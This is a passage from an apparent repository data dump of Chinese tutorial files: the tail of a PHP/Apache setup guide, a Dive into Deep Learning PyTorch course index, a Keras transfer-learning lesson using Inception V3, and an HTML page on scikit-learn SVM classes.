status/start/stop/restart\nWeb目录: /var/www/html/\n安装目录: /etc/apache2/\n全局配置: /etc/apache2/apache2.conf\n监听端口: /etc/apache2/ports.conf\n虚拟主机: /etc/apache2/sites-enabled/000-default.conf\n```\n\n### 解析测试\n\n***PHP解析***\n\n```bash\n#制作php探针文件\ncat > /var/www/html/env.php <<EOF\n<?php echo phpinfo();?>\nEOF\n\n#使用php解释器解析该探针文件\nphp /var/www/html/env.php\n```\n\n***apache2服务器解析测试***\n\n```bash\n#制作php探针\ncat > /var/www/html/env.php <<EOF\n<?php echo phpinfo();?>\nEOF\n```\n\n点击URL查看由apache2解析的php探针文件:{http-server}/env.php\n\n### 复制课程案例至目录\n\n```\ncp -r /share/lesson/php/* /var/www/html/\n```\n\n## 在您本地安装\n\n### Windows\n\n建议使用安装Virtul Box,进行虚拟机的安装。\n\n" }, { "alpha_fraction": 0.6449671983718872, "alphanum_fraction": 0.6684901714324951, "avg_line_length": 34.843135833740234, "blob_id": "fdf31fa20828f1b8b37c5a3aec1a0ccfb2fc6e1a", "content_id": "9872720aba288e5ce8ec6292c2bdf18ba7f946f9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2783, "license_type": "no_license", "max_line_length": 242, "num_lines": 51, "path": "/d2l-pytorch/index.md", "repo_name": "Shaw-closed-up/books", "src_encoding": "UTF-8", "text": "# 如何学习本课程\n## 课程简介\n- 课程名称:《动手学深度学习-以Pytorch实现》/《Dive into Deep Learning》\n- 课程编号:B81\n- 所需基础:[Linux](/linux),[Jupyter](/jupyter),[Python](/python3),和一定的概率数理统计基础\n- 学习周期:2周(以每天投入2小时左右时间进行学习估算)\n- 学习形式:在线互动[课程使用帮助](/aboutus/help.html)\n- 面向群体:本项目面向对深度学习感兴趣,尤其是想使用PyTorch进行深度学习的童鞋。本项目并不要求你有任何深度学习或者机器学习的背景知识,你只需了解基础的数学和编程,如基础的线性代数、微分和概率,以及基础的Python编程。\n- 考核标准:能理解课程内容,并独立完成课程中的示例和作业\n- 学习成果:熟悉PyTorch深度学习框架的用法,可以使用PyTorch框架完成深度学习任务。\n- 课程说明:本课程为引用开源电子书[《动手学深度学习》](https://github.com/ShusenTang/Dive-into-DL-PyTorch.git),并做适当修正以便于在线交互式学习。课程中除GPU外的环境均已配置好,您可在线边实践边学习。\n\n<img width=\"500\" src=\"img/cover.png\" alt=\"封面\"/>\n\n[本项目](https://tangshusen.me/Dive-into-DL-PyTorch)将[《动手学深度学习》](http://zh.d2l.ai/) 原书中MXNet代码实现改为PyTorch实现。原书作者:阿斯顿·张、李沐、扎卡里 C. 立顿、亚历山大 J. 斯莫拉以及其他社区贡献者,GitHub地址:https://github.com/d2l-ai/d2l-zh\n\n此书的[中](https://zh.d2l.ai/)[英](https://d2l.ai/)版本存在一些不同,针对此书英文版的PyTorch重构可参考[这个项目](https://github.com/dsgiitr/d2l-pytorch)。\nThere are some differences between the [Chinese](https://zh.d2l.ai/) and [English](https://d2l.ai/) versions of this book. For the PyTorch modifying of the English version, you can refer to [this repo](https://github.com/dsgiitr/d2l-pytorch).\n\n\n## 简介\n\n\n## 原书地址\n\n中文版:[动手学深度学习](https://zh.d2l.ai/) | [Github仓库](https://github.com/d2l-ai/d2l-zh) \nEnglish Version: [Dive into Deep Learning](https://d2l.ai/) | [Github Repo](https://github.com/d2l-ai/d2l-en)\n\n\n## 引用\n\n如果您在研究中使用了这个项目请引用原书:\n\n```\n@book{zhang2019dive,\n title={Dive into Deep Learning},\n author={Aston Zhang and Zachary C. Lipton and Mu Li and Alexander J. Smola},\n note={\\url{http://www.d2l.ai}},\n year={2020}\n}\n```\n\n## 本课程专用微信学习交流群 \n\n![](./images/qrcode.jpg)\n\n## 相关资料推荐\n\n| 类别 | 名称 | 价格 |\n| ---- | --------------------------------------------------- | ---- |\n| 书籍 | [动手学深度学习](https://item.jd.com/12527061.html) | 84.2 |\n" }, { "alpha_fraction": 0.6786636710166931, "alphanum_fraction": 0.7169141173362732, "avg_line_length": 34.40571594238281, "blob_id": "f0edf06ec51656f35b3c45b1da8bc227b695ef7d", "content_id": "ad215e640e8ad69517bd3603fd069948ba2ec8fb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 9629, "license_type": "no_license", "max_line_length": 292, "num_lines": 175, "path": "/keras/class_6.md", "repo_name": "Shaw-closed-up/books", "src_encoding": "UTF-8", "text": "# Keras 入门课6:使用Inception V3模型进行迁移学习\n\n深度学习可以说是一门数据驱动的学科,各种有名的CNN模型,无一不是在大型的数据库上进行的训练。像ImageNet这种规模的数据库,动辄上百万张图片。对于普通的机器学习工作者、学习者来说,面对的任务各不相同,很难拿到如此大规模的数据集。同时也没有谷歌,Facebook那种大公司惊人的算力支持,想从0训练一个深度CNN网络,基本是不可能的。但是好在已经训练好的模型的参数,往往经过简单的调整和训练,就可以很好的迁移到其他不同的数据集上,同时也无需大量的算力支撑,便能在短时间内训练得出满意的效果。这便是迁移学习。究其根本,就是虽然图像的数据集不同,但是底层的特征却是有大部分通用的。 \n\n迁移学习主要分为两种\n\n* 第一种即所谓的transfer learning,迁移训练时,移掉最顶层,比如ImageNet训练任务的顶层就是一个1000输出的全连接层,换上新的顶层,比如输出为10的全连接层,然后训练的时候,只训练最后两层,即原网络的倒数第二层和新换的全连接输出层。可以说transfer learning将底层的网络当做了一个特征提取器来使用。 \n* 第二种叫做fine tune,和transfer learning一样,换一个新的顶层,但是这一次在训练的过程中,所有的(或大部分)其它层都会经过训练。也就是底层的权重也会随着训练进行调整。\n\n一个典型的迁移学习过程是这样的。首先通过transfer learning对新的数据集进行训练,训练过一定epoch之后,改用fine tune方法继续训练,同时降低学习率。这样做是因为如果一开始就采用fine tune方法的话,网络还没有适应新的数据,那么在进行参数更新的时候,比较大的梯度可能会导致原本训练的比较好的参数被污染,反而导致效果下降。\n\n本课,我们将尝试使用谷歌提出的Inception V3模型来对一个花朵数据集进行迁移学习的训练。\n\n数据集为17种不同的花朵,每种有80张样本,一共1360张图像,属于典型的小样本集。数据下载地址:http://www.robots.ox.ac.uk/~vgg/data/flowers/17/ \n官方没有给出图像对应的label,我写了一段代码,把每张图像加上标签,https://gist.github.com/tsycnh/177bbf7d93adc6207242fd334ce3bb60 \n同时,Keras对于数据的格式要求如下:我也写了一个脚本来做转换https://gist.github.com/tsycnh/1b35103adec1ad2be5090c486354859f \n```\ndata/\n train/\n class1/\n img1\n img2\n ...\n class2/\n img1\n ...\n validation/\n class1/\n img1\n img2\n ...\n class2/\n img1\n ...\n test/\n class1/\n img1\n img2\n ...\n class2/\n img1\n ...\n```\n这个脚本我将训练集划分为800张,验证集和测试集分别为260张,图片顺序做了随机打乱\n\n如果你懒得自己转换,可以直接下载我已经把处理好的数据:https://download.csdn.net/download/tsyccnh/10641502\n\n请注意,这里的花朵识别仍属于最简单的单分类任务,样张如下\n\n![](./images/flowers.jpg)\n\n\n```python\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom keras.applications.inception_v3 import InceptionV3,preprocess_input\nfrom keras.layers import GlobalAveragePooling2D,Dense\nfrom keras.models import Model\nfrom keras.utils.vis_utils import plot_model\nfrom keras.optimizers import Adagrad\n# 数据准备\ntrain_datagen = ImageDataGenerator(\n preprocessing_function=preprocess_input,# ((x/255)-0.5)*2 归一化到±1之间\n rotation_range=30,\n width_shift_range=0.2,\n height_shift_range=0.2,\n shear_range=0.2,\n zoom_range=0.2,\n horizontal_flip=True,\n)\nval_datagen = ImageDataGenerator(\n preprocessing_function=preprocess_input,\n rotation_range=30,\n width_shift_range=0.2,\n height_shift_range=0.2,\n shear_range=0.2,\n zoom_range=0.2,\n horizontal_flip=True,\n)\n```\n\n这里用到的数据集和之前都不同,之前用的是一些公共的、Keras内置的数据集,这次用到的是自己准备的数据集。由于数据的图像大小比较大,不适合一次全部载入到内存中,所以使用了flow_from_directory方法来按批次从硬盘读取图像数据,并实时进行图像增强\n\n\n```python\ntrain_generator = train_datagen.flow_from_directory(directory='./flowers17/train',\n target_size=(299,299),#Inception V3规定大小\n batch_size=64)\nval_generator = val_datagen.flow_from_directory(directory='./flowers17/validation',\n target_size=(299,299),\n batch_size=64)\n```\n\n首先我们需要加载骨架模型,这里用的InceptionV3模型,其两个参数比较重要,一个是weights,如果是'imagenet',Keras就会自动下载已经在ImageNet上训练好的参数,如果是None,系统会通过随机的方式初始化参数,目前该参数只有这两个选择。另一个参数是include_top,如果是True,输出是1000个节点的全连接层。如果是False,会去掉顶层,输出一个8 \\* 8 \\* 2048的张量。 \n\nps:在keras.applications里还有很多其他的预置模型,比如VGG,ResNet,以及适用于移动端的MobileNet等。大家都可以拿来玩玩。\n\n一般我们做迁移训练,都是要去掉顶层,后面接上各种自定义的其它新层。这已经成为了训练新任务惯用的套路。\n输出层先用GlobalAveragePooling2D函数将8 \\* 8 \\* 2048的输出转换成1 \\* 2048的张量。后面接了一个1024个节点的全连接层,最后是一个17个节点的输出层,用softmax激活函数。\n\n\n```python\n# 构建基础模型\nbase_model = InceptionV3(weights='imagenet',include_top=False)\n\n# 增加新的输出层\nx = base_model.output\nx = GlobalAveragePooling2D()(x) # GlobalAveragePooling2D 将 MxNxC 的张量转换成 1xC 张量,C是通道数\nx = Dense(1024,activation='relu')(x)\npredictions = Dense(17,activation='softmax')(x)\nmodel = Model(inputs=base_model.input,outputs=predictions)\n# plot_model(model,'tlmodel.png')\n```\n\n构建完新模型后需要进行模型的配置。下面的两个函数分别对transfer learning和fine tune两种方法分别进行了配置。每个函数有两个参数,分别是model和base_model。这里可能会有同学有疑问,上面定义了model,这里又将base_model一起做配置,对base_model的更改会对model产生影响么? \n答案是会的。如果你debug追进去看的话,可以看到model的第一层和base_model的第一层是指向同一个内存地址的。这里将base_model作为参数,只是为了方便对骨架模型进行设置。\n\nsetup_to_transfer_learning: 这个函数将骨架模型的所有层都设置为不可训练\nsetup_to_fine_tune:这个函数将骨架模型中的前几层设置为不可训练,后面的所有Inception模块都设置为可训练。 \n这里面的GAP_LAYER需要配合打印图和调试的方法确认正确的值,感兴趣具体怎么操作的同学,可以私信我,以后看有没有必要把这个点写成教程。\n\n\n```python\n'''\n这里的base_model和model里面的iv3都指向同一个地址\n'''\ndef setup_to_transfer_learning(model,base_model):#base_model\n for layer in base_model.layers:\n layer.trainable = False\n model.compile(optimizer='adam',loss='categorical_crossentropy',metrics=['accuracy'])\n\ndef setup_to_fine_tune(model,base_model):\n GAP_LAYER = 17 # max_pooling_2d_2\n for layer in base_model.layers[:GAP_LAYER+1]:\n layer.trainable = False\n for layer in base_model.layers[GAP_LAYER+1:]:\n layer.trainable = True\n model.compile(optimizer=Adagrad(lr=0.0001),loss='categorical_crossentropy',metrics=['accuracy'])\n```\n\n下面开始训练,这段代码也演示了如何在全部训练过程中改变模型。\n\n\n```python\nsetup_to_transfer_learning(model,base_model)\nhistory_tl = model.fit_generator(generator=train_generator,\n steps_per_epoch=800,#800\n epochs=2,#2\n validation_data=val_generator,\n validation_steps=12,#12\n class_weight='auto'\n )\nmodel.save('./flowers17_iv3_tl.h5')\nsetup_to_fine_tune(model,base_model)\nhistory_ft = model.fit_generator(generator=train_generator,\n steps_per_epoch=800,\n epochs=2,\n validation_data=val_generator,\n validation_steps=1,\n class_weight='auto')\nmodel.save('./flowers17_iv3_ft.h5')\n```\n\n可以看到经过两个epoch的transfer learning后,验证集准确率达到89.1%。再经过两个epoch的fine tune后验证集准确率达96.88%。可以看到迁移学习的效果还是很好的。\n\n## 总结\n1. 学习了两种常用迁移学习方法(tranfer learning,fine tune)及训练技巧\n1. 学习了使用自己的数据样本进行训练\n1. 学习了加载Keras预置的经典模型\n1. 学习了如何在预置模型顶部添加新的层\n1. 学习了如何设置层的参数为不可训练\n\n\n\n### 参考\n> https://deeplearningsandbox.com/how-to-use-transfer-learning-and-fine-tuning-in-keras-and-tensorflow-to-build-an-image-recognition-94b0b02444f2\n" }, { "alpha_fraction": 0.625415027141571, "alphanum_fraction": 0.6395252346992493, "avg_line_length": 35.074851989746094, "blob_id": "b9fa507c07fa5a2f04f2529f772b65db068e58f1", "content_id": "77fe9b755cc022031e1ef246ad899b35cfe254da", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 15744, "license_type": "no_license", "max_line_length": 203, "num_lines": 334, "path": "/sklearn/svm.html", "repo_name": "Shaw-closed-up/books", "src_encoding": "UTF-8", "text": "<!DOCTYPE html>\n<html lang=\"zh-CN\">\n <head>\n <!-- Required meta tags -->\n <meta charset=\"utf-8\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, shrink-to-fit=no\">\n\n <link href=\"/static/img/favicon.png\" rel=\"icon\" type=\"image/png\">\n\n <!-- Theme CSS -->\n <link href=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/css/theme.css\" rel=\"stylesheet\" type=\"text/css\"/>\n <link href=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/css/style.css\" rel=\"stylesheet\" type=\"text/css\"/>\n <title>sklearn 支持向量机(SVM) - FreeAIHub</title>\n \n <style>\n #top_bar {\n /* background-color: #6e84a3;\n color: white;\n font: bold 12px Helvetica;\n padding: 6px 5px 4px 5px;\n border-bottom: 1px outset; */\n }\n #status {\n text-align: center;\n }\n #sendCtrlAltDelButton {\n position: fixed;\n top: 0px;\n right: 0px;\n border: 1px outset;\n padding: 5px 5px 4px 5px;\n cursor: pointer;\n }\n\n #screen {\n /* flex: 1;\n overflow: hidden; */\n }\n\n </style>\n\n </head>\n <body class=\"bg-light\" style=\"padding-top: 84px;\">\n <header class=\"navbar navbar-expand navbar-dark flex-column flex-md-row bd-navbar text-center\">\n <a class=\"navbar-brand mr-0 mr-md-2\" aria-label=\"引导程序\" href=\"/\">\n <img src=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/images/freeaihub.svg\" width=\"60%\" alt=\"freeai logo\">\n </a>\n <ul class=\"navbar-nav ml-md-auto\">\n <li class=\"nav-item\">\n <a href=\"/\" class=\"nav-link pl-2 pr-1 mx-1 py-3 my-n2\">首页</a>\n </li>\n <li class=\"nav-item\">\n <a href=\"/\" class=\"nav-link pl-2 pr-1 mx-1 py-3 my-n2\">课程页面</a>\n </li>\n </ul>\n </header>\n\n\n\n <!-- BREADCRUMB\n ================================================== -->\n <nav class=\"d-lg-none bg-gray-800\">\n <div class=\"container-fluid\">\n <div class=\"row align-items-center\">\n <div class=\"col\">\n </div>\n <div class=\"col-auto\">\n <!-- Toggler -->\n <div class=\"navbar-dark\">\n <button class=\"navbar-toggler\" type=\"button\" data-toggle=\"collapse\" data-target=\"#sidenavCollapse\" aria-controls=\"sidenavCollapse\" aria-expanded=\"false\" aria-label=\"Toggle navigation\">\n <span class=\"navbar-toggler-icon\"></span>\n </button>\n </div>\n\n </div>\n </div> <!-- / .row -->\n </div> <!-- / .container -->\n </nav>\n\n <!-- CONTENT\n ================================================== -->\n <section style=\"overflow: hidden;\">\n <div class=\"container-fluid\">\n <div class=\"row\">\n\n <div class=\"col-12 col-lg-2 col-xl-2 px-lg-0 border-bottom border-bottom-lg-0 border-right-lg border-gray-300 sidenav sidenav-left\"> \n <div class=\"collapse d-lg-block\" id=\"sidenavCollapse\">\n <div class=\"px-lg-5\">\n <ul class=\"nav side-left\">\n <li><a href=\"./index.html\"> 如何学习本课程</a></li>\n<li><a href=\"./intro.html\"> sklearn简介</a></li>\n<li><a href=\"./setup.html\"> sklearn安装</a></li>\n<li><a href=\"./modelling.html\"> sklearn建模过程</a></li>\n<li><a href=\"./data-representation.html\"> sklearn数据表示</a></li>\n<li><a href=\"./estimator.html\"> sklearn估算器</a></li>\n<li><a href=\"./conventions.html\"> sklearn约定</a></li>\n<li><a href=\"./linear.html\"> sklearn线性建模之线性回归</a></li>\n<li><a href=\"./logistic.html\"> sklearn线性建模之逻辑回归</a></li>\n<li><a href=\"./ridge.html\"> sklearn线性建模之岭回归</a></li>\n<li><a href=\"./bayes.html\"> sklearn线性建模之贝叶斯岭回归</a></li>\n<li><a href=\"./sgd.html\"> sklearn随机梯度下降(SGD)</a></li>\n<li><a href=\"./svm.html\"> sklearn支持向量机(SVM)</a></li>\n<li><a href=\"./knn.html\"> sklearnK近邻(KNN)</a></li>\n<li><a href=\"./nbc.html\"> sklearn朴素贝叶斯分类(NBC)</a></li>\n<li><a href=\"./dt.html\"> sklearn决策树(DT)</a></li>\n<li><a href=\"./rf.html\"> sklearn随机决策树(RF)</a></li>\n<li><a href=\"./cluster.html\"> skelarn聚类(cluster)</a></li>\n<li><a href=\"./pca.html\"> sklearn降维(PCA)</a></li>\n </ul> \n\n </div>\n </div>\n\n\n </div>\n\n <div class=\"entry-cellcontent col-10 col-lg-10 col-xl-10 offset-lg-2 offset-xl-2\">\n <h1>sklearn 支持向量机(SVM)</h1>\n<p>本章介绍了一种称为支持向量机(SVM)的机器学习方法。</p>\n<h2>介绍</h2>\n<p>支持向量机(SVM)是强大而灵活的监督型机器学习方法,用于分类,回归和离群值检测。SVM在高维空间中非常有效,通常用于分类问题。SVM受欢迎且具有存储效率,因为它们在决策函数中使用训练点的子集。</p>\n<p>SVM的主要目标是将数据集分为几类,以找到<strong>最大的边际超平面(MMH)</strong>,可以通过以下两个步骤完成-</p>\n<ul>\n<li>支持向量机将首先以迭代方式生成超平面,从而以最佳方式将类分离。</li>\n<li>之后,它将选择正确隔离类的超平面。</li>\n</ul>\n<p>SVM中的一些重要概念如下-</p>\n<ul>\n<li><strong>支持向量</strong> -它们可以定义为最接近超平面的数据点。支持向量有助于确定分隔线。</li>\n<li><strong>超平面</strong> -划分具有不同类别的对象集的决策平面或空间。</li>\n<li><strong>裕度</strong> -不同类别的壁橱数据点上两条线之间的间隙称为裕度。</li>\n</ul>\n<p>下图将为您提供有关这些SVM概念的见解-</p>\n<p><img alt=\"边缘超平面\" src=\"./images/marginal_hyperplane.jpg\" /></p>\n<p>Scikit-learn中的SVM支持稀疏和密集样本矢量作为输入。</p>\n<h2>支持向量机的分类</h2>\n<p>Scikit-learn提供三个类,即<strong>SVC,NuSVC</strong>和<strong>LinearSVC</strong>,它们可以执行多类分类。</p>\n<h2>SVC</h2>\n<p>这是C支持向量分类,其实现基于<strong>libsvm</strong>。scikit-learn使用的模块是<strong>sklearn.svm.SVC</strong>。此类根据一对一方案处理多类支持。</p>\n<p><strong>实施实例</strong></p>\n<p>像其他分类器一样,SVC还必须配备以下两个数组-</p>\n<ul>\n<li>存放训练样本的数组<strong>X。</strong>它的大小为[n_samples,n_features]。</li>\n<li>保存目标值的数组<strong>Y</strong>,即训练样本的类别标签。它的大小为[n_samples]。</li>\n</ul>\n<p>以下Python脚本使用<strong>sklearn.svm.SVC</strong>类-</p>\n<pre><code class=\"python\">import numpy as np\nX = np.array([[-1, -1], [-2, -1], [1, 1], [2, 1]])\ny = np.array([1, 1, 2, 2])\nfrom sklearn.svm import SVC\nSVCClf = SVC(kernel = 'linear',gamma = 'scale', shrinking = False,)\nSVCClf.fit(X, y)\n</code></pre>\n\n<p>现在,一旦拟合,我们就可以在以下python脚本的帮助下获得权重向量-</p>\n<pre><code class=\"python\">SVCClf.coef_\n</code></pre>\n\n<p>类似地,我们可以获取其他属性的值,如下所示:</p>\n<pre><code class=\"python\">SVCClf.predict([[-0.5,-0.8]])\n</code></pre>\n\n<pre><code class=\"python\">SVCClf.n_support_\n</code></pre>\n\n<pre><code class=\"python\">SVCClf.support_vectors_\n</code></pre>\n\n<pre><code class=\"python\">SVCClf.support_\n</code></pre>\n\n<pre><code class=\"python\">SVCClf.intercept_\n</code></pre>\n\n<pre><code class=\"python\">SVCClf.fit_status_\n</code></pre>\n\n<h2>NuSVC</h2>\n<p>NuSVC是Nu支持向量分类。它是scikit-learn提供的另一个类,可以执行多类分类。就像SVC一样,但是NuSVC接受略有不同的参数集。与SVC不同的参数如下-</p>\n<ul>\n<li><strong>nu-</strong>浮动,可选,默认= 0.5</li>\n</ul>\n<p>它代表训练误差分数的上限和支持向量分数的下限。其值应在(o,1]的间隔内。</p>\n<p>其余参数和属性与SVC相同。</p>\n<h3>实例</h3>\n<p>我们也可以使用<strong>sklearn.svm.NuSVC</strong>类实现相同的示例。</p>\n<pre><code class=\"python\">import numpy as np\nX = np.array([[-1, -1], [-2, -1], [1, 1], [2, 1]])\ny = np.array([1, 1, 2, 2])\nfrom sklearn.svm import NuSVC\nNuSVCClf = NuSVC(kernel = 'linear',gamma = 'scale', shrinking = False,)\nNuSVCClf.fit(X, y)\n</code></pre>\n\n<p>我们可以像SVC一样获得其余属性的输出。</p>\n<h2>线性SVC</h2>\n<p>这是线性支持向量分类。它类似于具有内核=“线性”的SVC。它们之间的区别在于<strong>LinearSVC</strong>是根据<strong>liblinear</strong>实现的,而SVC是在<strong>libsvm中</strong>实现的。这就是<strong>LinearSVC</strong>在罚分和损失函数选择方面更具灵活性的原因。它还可以更好地扩展到大量样本。</p>\n<p>如果我们谈论它的参数和属性,那么它就不支持<strong>“内核”,</strong>因为它被认为是线性的,并且还缺少一些属性,例如<strong>support_,support_vectors_,n_support_,fit_status_</strong>和<strong>dual_coef_</strong>。</p>\n<p>但是,它支持<strong>惩罚</strong>和<strong>损失</strong>参数,如下所示:</p>\n<ul>\n<li><strong>惩罚-字符串,L1或L2(默认='L2')</strong></li>\n</ul>\n<p>此参数用于指定惩罚(正则化)中使用的标准(L1或L2)。</p>\n<ul>\n<li><strong>loss-字符串,铰链,squared_hinge(默认值= squared_hinge)</strong></li>\n</ul>\n<p>它表示损耗函数,其中“铰链”是标准SVM损耗,“ squared_hinge”是铰链损耗的平方。</p>\n<h3>实例</h3>\n<p>以下Python脚本使用<strong>sklearn.svm.LinearSVC</strong>类-</p>\n<pre><code class=\"python\">from sklearn.svm import LinearSVC\nfrom sklearn.datasets import make_classification\nX, y = make_classification(n_features = 4, random_state = 0)\nLSVCClf = LinearSVC(dual = False, random_state = 0, penalty = 'l1',tol = 1e-5)\nLSVCClf.fit(X, y)\n</code></pre>\n\n<p>现在,一旦拟合,模型可以预测新值,如下所示:</p>\n<pre><code class=\"python\">LSVCClf.predict([[0,0,0,0]])\n</code></pre>\n\n<p>对于上面的示例,我们可以借助以下python脚本获取权重向量-</p>\n<pre><code class=\"python\">LSVCClf.coef_\n</code></pre>\n\n<p>同样,我们可以在以下python脚本的帮助下获取拦截的值-</p>\n<pre><code class=\"python\">LSVCClf.intercept_\n</code></pre>\n\n<h2>支持向量机回归</h2>\n<p>如前所述,SVM用于分类和回归问题。Scikit-learn的支持向量分类(SVC)方法也可以扩展来解决回归问题。该扩展方法称为支持向量回归(SVR)。</p>\n<h3>SVM和SVR之间的基本相似之处</h3>\n<p>SVC创建的模型仅取决于训练数据的子集。为什么?因为用于构建模型的成本函数并不关心位于边界之外的训练数据点。</p>\n<p>而SVR(支持向量回归)产生的模型也仅取决于训练数据的子集。为什么?因为用于构建模型的成本函数会忽略任何接近模型预测的训练数据点。</p>\n<p>Scikit-learn提供了三个类,即<strong>SVR,NuSVR和LinearSVR,</strong>作为SVR的三种不同实现。</p>\n<h2>SVR</h2>\n<p>这是Epsilon支持的向量回归,其实现基于<strong>libsvm</strong>。与<strong>SVC</strong>相反,模型中有两个自由参数,即<strong>'C'</strong>和<strong>'epsilon'</strong>。</p>\n<ul>\n<li><strong>epsilon-</strong>浮动,可选,默认= 0.1</li>\n</ul>\n<p>它代表epsilon-SVR模型中的epsilon,并指定在epsilon-tube中训练损失函数中没有惩罚与实际值之间的距离为epsilon的点。</p>\n<p>其余的参数和属性与我们在<strong>SVC中</strong>使用的相似。</p>\n<h3>实例</h3>\n<p>以下Python脚本使用<strong>sklearn.svm.SVR</strong>类-</p>\n<pre><code class=\"python\">from sklearn import svm\nX = [[1, 1], [2, 2]]\ny = [1, 2]\nSVRReg = svm.SVR(kernel = 'linear', gamma = 'auto')\nSVRReg.fit(X, y)\n</code></pre>\n\n<p>现在,一旦拟合,我们就可以在以下python脚本的帮助下获得权重向量-</p>\n<pre><code class=\"python\">SVRReg.coef_\n</code></pre>\n\n<p>类似地,我们可以获取其他属性的值,如下所示:</p>\n<pre><code class=\"python\">SVRReg.predict([[1,1]])\n</code></pre>\n\n<p>同样,我们也可以获取其他属性的值。</p>\n<h2>NuSVR</h2>\n<p>NuSVR是Nu支持向量回归。它类似于NuSVC,但是NuSVR使用参数<strong>nu</strong>来控制支持向量的数量。而且,与NuSVC的<strong>nu</strong>替换了C参数不同,此处它替换了<strong>epsilon</strong>。</p>\n<h3>实例</h3>\n<p>以下Python脚本使用<strong>sklearn.svm.SVR</strong>类-</p>\n<pre><code class=\"python\">from sklearn.svm import NuSVR\nimport numpy as np\nn_samples, n_features = 20, 15\nnp.random.seed(0)\ny = np.random.randn(n_samples)\nX = np.random.randn(n_samples, n_features)\nNuSVRReg = NuSVR(kernel = 'linear', gamma = 'auto',C = 1.0, nu = 0.1)\nNuSVRReg.fit(X, y)\n</code></pre>\n\n<p>现在,一旦拟合,我们就可以在以下python脚本的帮助下获得权重向量-</p>\n<pre><code class=\"python\">NuSVRReg.coef_\n</code></pre>\n\n<p>同样,我们也可以获取其他属性的值。</p>\n<h2>线性SVR</h2>\n<p>它是线性支持向量回归。它类似于具有内核=“线性”的SVR。它们之间的区别是,<strong>LinearSVR</strong>来讲实现<strong>liblinear</strong>,而SVC中实现<strong>LIBSVM</strong>。这就是<strong>LinearSVR</strong>在罚分和损失函数选择方面更具灵活性的原因。它还可以更好地扩展到大量样本。</p>\n<p>如果我们谈论它的参数和属性,那么它就不支持<strong>“内核”,</strong>因为它被认为是线性的,并且还缺少一些属性,例如<strong>support_,support_vectors_,n_support_,fit_status_</strong>和<strong>dual_coef_</strong>。</p>\n<p>但是,它支持以下“损失”参数-</p>\n<ul>\n<li><strong>loss-</strong>字符串,可选,默认='epsilon_insensitive'</li>\n</ul>\n<p>它表示损失函数,其中epsilon_insensitive损失是L1损失,平方的epsilon_insensitive损失是L2损失。</p>\n<h3>实例</h3>\n<p>以下Python脚本使用<strong>sklearn.svm.LinearSVR</strong>类-</p>\n<pre><code class=\"python\">from sklearn.svm import LinearSVR\nfrom sklearn.datasets import make_regression\nX, y = make_regression(n_features = 4, random_state = 0)\nLSVRReg = LinearSVR(dual = False, random_state = 0,\nloss = 'squared_epsilon_insensitive',tol = 1e-5)\nLSVRReg.fit(X, y)\n</code></pre>\n\n<p>现在,一旦拟合,模型可以预测新值,如下所示:</p>\n<pre><code class=\"python\">LSVRReg.predict([[0,0,0,0]])\n</code></pre>\n\n<p>对于上面的示例,我们可以借助以下python脚本获取权重向量-</p>\n<pre><code class=\"python\">LSVRReg.coef_\n</code></pre>\n\n<p>同样,我们可以在以下python脚本的帮助下获取拦截的值-</p>\n<pre><code class=\"python\">LSVRReg.intercept_\n</code></pre>\n </div>\n <backend type='k'></backend>\n <code class=gatsby-kernelname data-language=python></code>\n </div> <!-- / .row -->\n </div>\n \n </section>\n\n <!-- JAVASCRIPT\n ================================================== -->\n <!-- Libs JS -->\n <script src=\"https://landkit.goodthemes.co/assets/libs/jquery/dist/jquery.min.js\"></script>\n <script src=\"https://landkit.goodthemes.co/assets/libs/bootstrap/dist/js/bootstrap.bundle.min.js\"></script>\n\n <!-- Theme JS -->\n <script src=\"https://landkit.goodthemes.co/assets/js/theme.min.js\"></script>\n <script src=\"https://cdn.freeaihub.com/asset/js/cell.js\"></script>\n \n <script src=\"https://polyfill.io/v3/polyfill.min.js?features=es6\"></script>\n <script>\n MathJax = {\n tex: {inlineMath: [['$', '$'], ['\\\\(', '\\\\)']]}\n };\n </script>\n <script id=\"MathJax-script\" async src=\"https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-chtml.js\"></script>\n </body>\n</html>" }, { "alpha_fraction": 0.560775876045227, "alphanum_fraction": 0.5778017044067383, "avg_line_length": 28.003124237060547, "blob_id": "360bee627c3cd82c9f33399ba73e6c023a4557e2", "content_id": "21112f15e0b78dde73934b28e2c366681e453b12", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 12605, "license_type": "no_license", "max_line_length": 198, "num_lines": 320, "path": "/ml/intro.html", "repo_name": "Shaw-closed-up/books", "src_encoding": "UTF-8", "text": "<!DOCTYPE html>\n<html lang=\"zh-CN\">\n <head>\n <!-- Required meta tags -->\n <meta charset=\"utf-8\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, shrink-to-fit=no\">\n\n <link href=\"/static/img/favicon.png\" rel=\"icon\" type=\"image/png\">\n\n <!-- Theme CSS -->\n <link href=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/css/theme.css\" rel=\"stylesheet\" type=\"text/css\"/>\n <link href=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/css/style.css\" rel=\"stylesheet\" type=\"text/css\"/>\n <title>人工智能概述 - FreeAIHub</title>\n \n <style>\n #top_bar {\n /* background-color: #6e84a3;\n color: white;\n font: bold 12px Helvetica;\n padding: 6px 5px 4px 5px;\n border-bottom: 1px outset; */\n }\n #status {\n text-align: center;\n }\n #sendCtrlAltDelButton {\n position: fixed;\n top: 0px;\n right: 0px;\n border: 1px outset;\n padding: 5px 5px 4px 5px;\n cursor: pointer;\n }\n\n #screen {\n /* flex: 1;\n overflow: hidden; */\n }\n\n </style>\n\n </head>\n <body class=\"bg-light\" style=\"padding-top: 84px;\">\n <header class=\"navbar navbar-expand navbar-dark flex-column flex-md-row bd-navbar text-center\">\n <a class=\"navbar-brand mr-0 mr-md-2\" aria-label=\"引导程序\" href=\"/\">\n <img src=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/images/freeaihub.svg\" width=\"60%\" alt=\"freeai logo\">\n </a>\n <ul 